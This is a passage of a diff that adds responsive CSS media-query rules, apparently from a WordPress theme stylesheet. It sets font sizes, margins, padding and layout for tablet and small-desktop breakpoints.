+		position: absolute !important;
+	}
+
+	.pagination .page-numbers {
+		display: inline-block;
+	}
+
+	.image-navigation {
+		padding: 0 9.0909%;
+	}
+
+	.comments-area {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923% 7.6923% 0;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-left: 0;
+	}
+
+	.comment-content li > ul,
+	.comment-content li > ol,
+	.comment-content blockquote > ul,
+	.comment-content blockquote > ol {
+		margin-left: 1.3333em;
+	}
+}
+
+
+/**
+ * 15.2 Tablet Small 740px
+ */
+
+@media screen and (min-width: 46.25em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6471em;
+	}
+
+	blockquote {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.75;
+		margin-bottom: 1.75em;
+		margin-left: -1.05em;
+		padding-left: 0.85em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.75em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	pre {
+		line-height: 1.2353;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"] {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.6429em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5em;
+	}
+
+	.main-navigation {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.main-navigation a {
+		padding: 1em 0;
+	}
+
+	.main-navigation ul ul {
+		margin-left: 1em;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .main-navigation .menu-item-has-children > a {
+		padding-right: 54px;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.4706em;
+	}
+
+	.social-navigation a {
+		height: 2.8824em;
+		width: 2.8824em;
+	}
+
+	.secondary-toggle {
+		height: 56px;
+		width: 56px;
+	}
+
+	.secondary-toggle:before {
+		line-height: 54px;
+		width: 54px;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.image-navigation,
+	.comment-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.2941em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.2941em;
+		padding: 0 0.8235em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 56px;
+		padding: 0;
+		width: 56px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 56px;
+		line-height: 56px;
+		width: 56px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		top: 2px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4118em;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2353em;
+	}
+
+	.site-branding {
+		min-height: 3.7059em;
+		padding-right: 66px;
+	}
+
+	.site-title {
+		font-size: 29px;
+		font-size: 2.9rem;
+		line-height: 1.2069;
+	}
+
+	.site-description {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.widget p,
+	.widget address,
+	.widget hr,
+	.widget ul,
+	.widget ol,
+	.widget dl,
+	.widget dd,
+	.widget table,
+	.widget pre {
+		margin-bottom: 1.5em;
+	}
+
+	.widget li > ul,
+	.widget li > ol {
+		margin-bottom: 0;
+	}
+
+	.widget blockquote {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+		margin-bottom: 1.6471em;
+		margin-left: -1.2353em;
+		padding-left: 1em;
+	}
+
+	.widget blockquote p {
+		margin-bottom: 1.6471em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.widget blockquote > blockquote {
+		margin-left: 0;
+	}
+
+	.widget pre {
+		line-height: 1.5;
+		padding: 0.75em;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		line-height: 1.75;
+	}
+
+	.widget button,
+	.widget input {
+		line-height: normal;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.6429em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.5625em;
+	}
+
+	.widget blockquote.alignleft,
+	.widget .wp-caption.alignleft,
+	.widget img.alignleft {
+		margin: 0.5em 1.5em 1.5em 0;
+	}
+
+	.widget blockquote.alignright,
+	.widget .wp-caption.alignright,
+	.widget img.alignright {
+		margin: 0.5em 0 1.5em 1.5em;
+	}
+
+	.widget blockquote.aligncenter,
+	.widget .wp-caption.aligncenter,
+	.widget img.aligncenter {
+		margin-top: 0.5em;
+		margin-bottom: 1.5em;
+	}
+
+	.widget .wp-caption.alignleft,
+	.widget .wp-caption.alignright,
+	.widget .wp-caption.aligncenter {
+		margin-bottom: 1em;
+	}
+
+	.widget-title {
+		margin: 0 0 1.5em;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 2.9286;
+	}
+
+	.widget_calendar caption {
+		margin: 0 0 1.5em;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.9643em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.9643em 0 0 1em;
+		padding-top: 0.9643em;
+	}
+
+	.widget_rss li {
+		margin-bottom: 1.5em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		line-height: 1.75;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 3em;
+	}
+
+	.entry-title {
+		font-size: 35px;
+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-bottom: 1.2em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 35px;
+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-top: 1.6em;
+		margin-bottom: 0.8em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 29px;
+		font-size: 2.9rem;
+		line-height: 1.2069;
+		margin-top: 1.931em;
+		margin-bottom: 0.9655em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+		margin-top: 2.3333em;
+		margin-bottom: 1.1667em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-top: 2.8em;
+		margin-bottom: 1.4em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.2353;
+		margin-top: 3.2941em;
+		margin-bottom: 1.6471em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		font-size: 24px;
+		top: 2px;
+	}
+
+	.author-info {
+		margin: 0 9.0909%;
+		padding: 9.0909% 0;
+	}
+
+	.author-info .avatar {
+		height: 42px;
+		margin: 0 1.6471em 1.6471em 0;
+		width: 42px;
+	}
+
+	.author-link:after {
+		top: 3px;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 3px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4118em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+	}
+
+	.page-links {
+		margin-bottom: 1.4117em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.2857em 0.2857em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6471em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-bottom: 1.4em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0.0833em;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6471em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.2353em;
+	}
+
+	.comment-meta {
+		position: relative;
+	}
+
+	.comment-author {
+		margin-bottom: 0;
+	}
+
+	.comment-author .avatar {
+		height: 42px;
+		margin-right: 1.64705em;
+		position: relative;
+		top: 5px;
+		width: 42px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 2px;
+	}
+
+	.pingback .edit-link:before {
+		top: 6px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 7px;
+		left: 6px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6471em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4286em 0.8571em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6471em;
+	}
+
+	.comment-reply-title small a:before {
+		top: -1px;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 17px;
+		font-size: 1.7rem;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6471em;
+	}
+}
+
+
+/**
+ * 15.3 Tablet Large 880px
+ */
+
+@media screen and (min-width: 55em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6842em;
+	}
+
+	blockquote {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.8182;
+		margin-bottom: 1.8182em;
+		margin-left: -1.0909em;
+		padding-left: 0.9091em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.8182em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	pre {
+		line-height: 1.2632;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"] {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5278em;
+	}
+
+	.main-navigation {
+		font-size: 16px;
+		font-size: 1.6rem;
+		line-height: 1.5;
+	}
+
+	.main-navigation a {
+		padding: 0.75em 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .main-navigation .menu-item-has-children > a {
+		padding-right: 53px;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 16px;
+		font-size: 1.6rem;
+		line-height: 1.5;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.2632em;
+	}
+
+	.social-navigation a {
+		height: 2.5263em;
+		width: 2.5263em;
+	}
+
+	.secondary-toggle {
+		height: 64px;
+		width: 64px;
+	}
+
+	.secondary-toggle:before {
+		line-height: 62px;
+		width: 62px;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.3684em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.3684em;
+		padding: 0 0.8421em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 64px;
+		padding: 0;
+		width: 64px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 64px;
+		line-height: 64px;
+		width: 64px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		font-size: 24px;
+		top: -1px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4211em;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2632em;
+	}
+
+	.site-branding {
+		min-height: 3.7895em;
+		padding-right: 74px;
+	}
+
+	.site-title {
+		font-size: 32px;
+		font-size: 3.2rem;
+		line-height: 1.25;
+	}
+
+	.site-description {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget blockquote {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+		margin-bottom: 1.6842em;
+		margin-left: -1.2632em;
+		padding-left: 1.0526em;
+	}
+
+	.widget blockquote p {
+		margin-bottom: 1.6842em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		line-height: 1.5;
+	}
+
+	.widget button,
+	.widget input {
+		line-height: normal;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.75em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		line-height: 1.5;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 2.9375;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.7188em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.7188em 0 0 1em;
+		padding-top: 0.7188em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.8462;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.9474em;
+	}
+
+	.entry-title {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-bottom: 1.2308em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-top: 1.641em;
+		margin-bottom: 0.8205em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 32px;
+		font-size: 3.2rem;
+		line-height: 1.25;
+		margin-top: 2em;
+		margin-bottom: 1em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+		margin-top: 2.3704em;
+		margin-bottom: 1.1852em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-top: 2.9091em;
+		margin-bottom: 1.4545em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.2632;
+		margin-top: 3.3684em;
+		margin-bottom: 1.6842em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		top: 3px;
+	}
+
+	.author-info .avatar {
+		height: 56px;
+		margin: 0 1.6842em 1.6842em 0;
+		width: 56px;
+	}
+
+	.author-link:after {
+		font-size: 24px;
+		top: 0;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 4px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4211em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+	}
+
+	.page-links {
+		margin-bottom: 1.4736em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.25em 0.25em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6842em
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-bottom: 1.4545em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0.125em;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4545em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6842em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.4737em;
+	}
+
+	.comment-author .avatar {
+		height: 56px;
+		margin-right: 1.6842em;
+		top: 3px;
+		width: 56px;
+	}
+
+	.comment-metadata {
+		line-height: 2;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 8px;
+	}
+
+	.pingback .edit-link:before {
+		top: 8px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 8px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6842em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4375em 0.875em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6842em;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 19px;
+		font-size: 1.9rem;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6842em;
+	}
+}
+
+
+/**
+ * 15.4 Desktop Small 955px
+ */
+
+@media screen and (min-width: 59.6875em) {
+	body:before {
+		background-color: #fff;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		content: "";
+		display: block;
+		height: 100%;
+		min-height: 100%;
+		position: fixed;
+		top: 0;
+		left: 0;
+		width: 29.4118%;
+		z-index: 0; /* Fixes flashing bug with scrolling on Safari */
+	}
+
+	.site {
+		margin: 0 auto;
+		max-width: 1403px;
+	}
+
+	.sidebar {
+		float: left;
+		margin-right: -100%;
+		max-width: 413px;
+		position: relative;
+		width: 29.4118%;
+	}
+
+	.secondary {
+		background-color: transparent;
+		display: block;
+		margin: 0;
+		padding: 0;
+	}
+
+	.site-main {
+		padding: 8.3333% 0;
+	}
+
+	.site-content {
+		display: block;
+		float: left;
+		margin-left: 29.4118%;
+		width: 70.5882%;
+	}
+
+	body {
+		font-size: 15px;
+		font-size: 1.5rem;
+		line-height: 1.6;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6em;
+	}
+
+	blockquote {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.6667;
+		margin-bottom: 1.6667em;
+		margin-left: -1.3333em;
+		padding-left: 1.1111em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 15px;
+		font-size: 1.5rem;
+		line-height: 1.6;
+	}
+
+	pre {
+		line-height: 1.2;
+	}
+
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 16px;
+		font-size: 1.6rem;
+		line-height: 1.5;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"] {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.7917em 1.5833em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.375em;
+	}
+
+	.main-navigation {
+		font-size: 12px;
+		font-size: 1.2rem;
+		margin: 0 20% 20%;
+	}
+
+	.main-navigation a {
+		padding: 0.5em 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 35px;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 12px;
+		font-size: 1.2rem;
+		line-height: 1.5;
+	}
+
+	.dropdown-toggle {
+		height: 24px;
+		width: 24px;
+	}
+
+	.dropdown-toggle:after {
+		font-size: 16px;
+		line-height: 24px;
+		width: 24px;
+	}
+
+	.social-navigation {
+		margin: 0 20% 20%;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.6em;
+	}
+
+	.social-navigation li {
+		width: 25%;
+	}
+
+	.social-navigation a {
+		height: 3.2em;
+	}
+
+	.secondary-toggle {
+		display: none;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.post-navigation {
+		margin: 8.3333% 8.3333% 0;
+	}
+
+	.post-navigation a {
+		padding: 5% 10%;
+	}
+
+	.pagination {
+		margin: 8.333% 8.333% 0;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.2em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.2em;
+		padding: 0 0.8em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 48px;
+		padding: 0;
+		width: 48px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 48px;
+		line-height: 48px;
+		width: 48px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		font-size: 16px;
+		top: 0;
+	}
+
+	.image-navigation {
+		padding: 0 10%;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4em 1.6em 1.6em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4em 0 1.6em 1.6em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		clear: both;
+		margin-top: 0.4em;
+		margin-bottom: 1.6em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2em;
+	}
+
+	.site-header {
+		background-color: transparent;
+		border-bottom: 0;
+		margin: 20% 0;
+		padding: 0 20%;
+	}
+
+	.site-branding {
+		min-height: 0;
+		padding: 0;
+	}
+
+	.site-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.3636;
+	}
+
+	.site-description {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget {
+		font-size: 12px;
+		font-size: 1.2rem;
+		margin: 0 0 20%;
+		padding: 0 20%;
+	}
+
+	.widget blockquote {
+		font-size: 12px;
+		font-size: 1.2rem;
+		line-height: 1.5;
+		margin-bottom: 1.5em;
+		margin-left: -1.5em;
+		padding-left: 1.1667em;
+	}
+
+	.widget blockquote p {
+		margin-bottom: 1.5em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget pre {
+		padding: 0.5em;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.5417em 1.0833em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.4583em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 1.9167;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.4583em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4583em 0 0 1em;
+		padding-top: 0.4583em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		font-size: 12px;
+		font-size: 1.2rem;
+		line-height: 1.5;
+	}
+
+	.hentry,
+	.page-header,
+	.page-content {
+		margin: 0 8.3333%;
+	}
+
+	.hentry {
+		padding-top: 8.3333%;
+	}
+
+	.hentry + .hentry,
+	.page-header + .hentry,
+	.page-header + .page-content {
+		margin-top: 8.3333%;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.4em;
+	}
+
+	.entry-header {
+		padding: 0 10%;
+	}
+
+	.entry-title {
+		font-size: 31px;
+		font-size: 3.1rem;
+		line-height: 1.1613;
+		margin-bottom: 1.1613em;
+	}
+
+	.entry-content,
+	.entry-summary {
+		padding: 0 10% 10%;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 31px;
+		font-size: 3.1rem;
+		line-height: 1.1613;
+		margin-top: 1.5484em;
+		margin-bottom: 0.7742em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 26px;
+		font-size: 2.6rem;
+		line-height: 1.3846;
+		margin-top: 1.8462em;
+		margin-bottom: 0.9231em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.3636;
